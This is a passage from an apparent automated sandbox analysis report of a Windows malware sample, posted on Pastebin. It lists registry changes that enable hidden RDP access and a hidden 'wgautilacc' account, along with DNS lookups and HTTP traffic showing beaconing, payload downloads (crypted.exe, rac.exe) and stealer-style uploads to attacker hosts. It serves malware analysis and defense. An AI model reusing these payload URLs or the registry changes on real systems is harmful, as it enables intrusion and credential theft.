  1102. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  1103. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  1104. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  1105. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  1106. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider",
  1107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7\\pzq.rkr",
  1108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\HRZR_PGYFRFFVBA",
  1109. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\PortNumber",
  1110. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\TermService\\Parameters\\ServiceDLL",
  1111. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Debug",
  1112. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\Windows Error Reporting\\Debug\\ExceptionRecord",
  1113. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\fDenyTSConnections",
  1114. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\FSingleSessionPerUser",
  1115. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\\LimitBlankPasswordUse",
  1116. "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core",
  1117. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Licensing Core\\EnableConcurrentSessions",
  1118. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AllowMultipleTSSessions",
  1119. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList",
  1120. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\wgautilacc",
  1121. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\\fAllowToGetHelp",
  1122. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\\Blob",
  1123. "HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Terminal Server\\RCM\\Secrets",
  1124. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\Secrets\\L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75",
  1125. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\Certificate",
  1126. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\Secrets\\L$HYDRAENCKEY_52d1ad03-4565-44f3-8bfd-bbb0591f4b9d",
  1127. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\CertificateOld"
  1128.  
  1129.  
  1130. * Deleted Registry Keys:
  1131. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\OverrideProtocol_Object",
  1132. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\DAC9024F54D8F6DF94935FB1732638CA6AD77C13"
  1133.  
  1134.  
  1135. * DNS Communications:
  1136.  
  1137. "type": "A",
  1138. "request": "luckymonkey.net.in",
  1139. "answers":
  1140.  
  1141. "data": "47.254.197.254",
  1142. "type": "A"
  1143.  
  1144.  
  1145.  
  1146.  
  1147. "type": "A",
  1148. "request": "www.rubthemoneybear.xyz",
  1149. "answers":
  1150.  
  1151. "data": "47.254.197.254",
  1152. "type": "A"
  1153.  
  1154.  
  1155.  
  1156.  
  1157. "type": "A",
  1158. "request": "doc-0g-a0-docs.googleusercontent.com",
  1159. "answers":
  1160.  
  1161. "data": "googlehosted.l.googleusercontent.com",
  1162. "type": "CNAME"
  1163.  
  1164.  
  1165. "data": "172.217.6.65",
  1166. "type": "A"
  1167.  
  1168.  
  1169.  
  1170.  
  1171. "type": "A",
  1172. "request": "laph.icu",
  1173. "answers":
  1174.  
  1175. "data": "94.158.245.184",
  1176. "type": "A"
  1177.  
  1178.  
  1179.  
  1180.  
  1181.  
  1182. * Domains:
  1183.  
  1184. "ip": "172.217.5.97",
  1185. "domain": "doc-0g-a0-docs.googleusercontent.com"
  1186.  
  1187.  
  1188. "ip": "47.254.197.254",
  1189. "domain": "luckymonkey.net.in"
  1190.  
  1191.  
  1192. "ip": "94.158.245.184",
  1193. "domain": "laph.icu"
  1194.  
  1195.  
  1196. "ip": "47.254.197.254",
  1197. "domain": "www.rubthemoneybear.xyz"
  1198.  
  1199.  
  1200.  
  1201. * Network Communication - ICMP:
  1202.  
  1203. "src": "169.254.255.254
  1204. "dst": "1.1.1.1",
  1205. "type": 8,
  1206. "data": "abcdefghijklmnopqrstuvwabcdefghi"
  1207.  
  1208.  
  1209. "src": "1.1.1.1",
  1210. "dst": "169.254.255.254
  1211. "type": 0,
  1212. "data": "abcdefghijklmnopqrstuvwabcdefghi"
  1213.  
  1214.  
  1215.  
  1216. * Network Communication - HTTP:
  1217.  
  1218. "count": 19,
  1219. "body": "id=2818818937&sd=a8e44a&vs=1.41&ar=1&bi=1&lv=0&os=9&av=0&pc=Host&un=user&",
  1220. "uri": "http://luckymonkey.net.in/j88hNjkMn/index.php",
  1221. "user-agent": "",
  1222. "method": "POST",
  1223. "host": "luckymonkey.net.in",
  1224. "version": "1.1",
  1225. "path": "/j88hNjkMn/index.php",
  1226. "data": "POST /j88hNjkMn/index.php HTTP/1.1\r\nHost: luckymonkey.net.in\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 76\r\n\r\nid=2818818937&sd=a8e44a&vs=1.41&ar=1&bi=1&lv=0&os=9&av=0&pc=Host&un=user&",
  1227. "port": 80
  1228.  
  1229.  
  1230. "count": 1,
  1231. "body": "",
  1232. "uri": "http://www.rubthemoneybear.xyz/lucky/nsis.exe",
  1233. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1234. "method": "GET",
  1235. "host": "www.rubthemoneybear.xyz",
  1236. "version": "1.1",
  1237. "path": "/lucky/nsis.exe",
  1238. "data": "GET /lucky/nsis.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: www.rubthemoneybear.xyz\r\nConnection: Keep-Alive\r\n\r\n",
  1239. "port": 80
  1240.  
  1241.  
  1242. "count": 1,
  1243. "body": "d1=1000003001&",
  1244. "uri": "http://luckymonkey.net.in/j88hNjkMn/index.php",
  1245. "user-agent": "",
  1246. "method": "POST",
  1247. "host": "luckymonkey.net.in",
  1248. "version": "1.1",
  1249. "path": "/j88hNjkMn/index.php",
  1250. "data": "POST /j88hNjkMn/index.php HTTP/1.1\r\nHost: luckymonkey.net.in\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14\r\n\r\nd1=1000003001&",
  1251. "port": 80
  1252.  
  1253.  
  1254. "count": 1,
  1255. "body": "",
  1256. "uri": "http://www.rubthemoneybear.xyz/lucky/rac.exe",
  1257. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1258. "method": "GET",
  1259. "host": "www.rubthemoneybear.xyz",
  1260. "version": "1.1",
  1261. "path": "/lucky/rac.exe",
  1262. "data": "GET /lucky/rac.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: www.rubthemoneybear.xyz\r\nConnection: Keep-Alive\r\n\r\n",
  1263. "port": 80
  1264.  
  1265.  
  1266. "count": 1,
  1267. "body": "d1=1000012001&",
  1268. "uri": "http://luckymonkey.net.in/j88hNjkMn/index.php",
  1269. "user-agent": "",
  1270. "method": "POST",
  1271. "host": "luckymonkey.net.in",
  1272. "version": "1.1",
  1273. "path": "/j88hNjkMn/index.php",
  1274. "data": "POST /j88hNjkMn/index.php HTTP/1.1\r\nHost: luckymonkey.net.in\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14\r\n\r\nd1=1000012001&",
  1275. "port": 80
  1276.  
  1277.  
  1278. "count": 1,
  1279. "body": "",
  1280. "uri": "http://www.rubthemoneybear.xyz/lucky/crypted.exe",
  1281. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1282. "method": "GET",
  1283. "host": "www.rubthemoneybear.xyz",
  1284. "version": "1.1",
  1285. "path": "/lucky/crypted.exe",
  1286. "data": "GET /lucky/crypted.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: www.rubthemoneybear.xyz\r\nConnection: Keep-Alive\r\n\r\n",
  1287. "port": 80
  1288.  
  1289.  
  1290. "count": 1,
  1291. "body": "",
  1292. "uri": "http://34.90.198.153/gate/log.php",
  1293. "user-agent": "",
  1294. "method": "POST",
  1295. "host": "34.90.198.153",
  1296. "version": "1.1",
  1297. "path": "/gate/log.php",
  1298. "data": "POST /gate/log.php HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 151\r\nHost: 34.90.198.153\r\n\r\n",
  1299. "port": 80
  1300.  
  1301.  
  1302. "count": 1,
  1303. "body": "",
  1304. "uri": "http://34.90.198.153/gate/sqlite3.dll",
  1305. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1306. "method": "GET",
  1307. "host": "34.90.198.153",
  1308. "version": "1.1",
  1309. "path": "/gate/sqlite3.dll",
  1310. "data": "GET /gate/sqlite3.dll HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: 34.90.198.153\r\nConnection: Keep-Alive\r\n\r\n",
  1311. "port": 80
  1312.  
  1313.  
  1314. "count": 1,
  1315. "body": "d1=1000013001&",
  1316. "uri": "http://luckymonkey.net.in/j88hNjkMn/index.php",
  1317. "user-agent": "",
  1318. "method": "POST",
  1319. "host": "luckymonkey.net.in",
  1320. "version": "1.1",
  1321. "path": "/j88hNjkMn/index.php",
  1322. "data": "POST /j88hNjkMn/index.php HTTP/1.1\r\nHost: luckymonkey.net.in\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 14\r\n\r\nd1=1000013001&",
  1323. "port": 80
  1324.  
  1325.  
  1326. "count": 1,
  1327. "body": "",
  1328. "uri": "http://34.90.198.153/gate/libs.zip",
  1329. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1330. "method": "GET",
  1331. "host": "34.90.198.153",
  1332. "version": "1.1",
  1333. "path": "/gate/libs.zip",
  1334. "data": "GET /gate/libs.zip HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: 34.90.198.153\r\nConnection: Keep-Alive\r\n\r\n",
  1335. "port": 80
  1336.  
  1337.  
  1338. "count": 1,
  1339. "body": "",
  1340. "uri": "http://34.90.198.153/file_handler2/file.php?hash=9fe0cff318b7fed95b82c99cfc35951e6468c82f&js=fc6accfb79ac418696d93c7e874f229bc4c57e44&callback=http://34.90.198.153/gate",
  1341. "user-agent": "",
  1342. "method": "POST",
  1343. "host": "34.90.198.153",
  1344. "version": "1.1",
  1345. "path": "/file_handler2/file.php?hash=9fe0cff318b7fed95b82c99cfc35951e6468c82f&js=fc6accfb79ac418696d93c7e874f229bc4c57e44&callback=http://34.90.198.153/gate",
  1346. "data": "POST /file_handler2/file.php?hash=9fe0cff318b7fed95b82c99cfc35951e6468c82f&js=fc6accfb79ac418696d93c7e874f229bc4c57e44&callback=http://34.90.198.153/gate HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nContent-Type: multipart/form-data, boundary=Jfbvjwj3489078yuyetu\r\nContent-Length: 1501\r\nHost: 34.90.198.153\r\n\r\n",
  1347. "port": 80
  1348.  
  1349.  
  1350.  
  1351. * Network Communication - SMTP:
  1352.  
  1353. * Network Communication - Hosts:
  1354.  
  1355. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!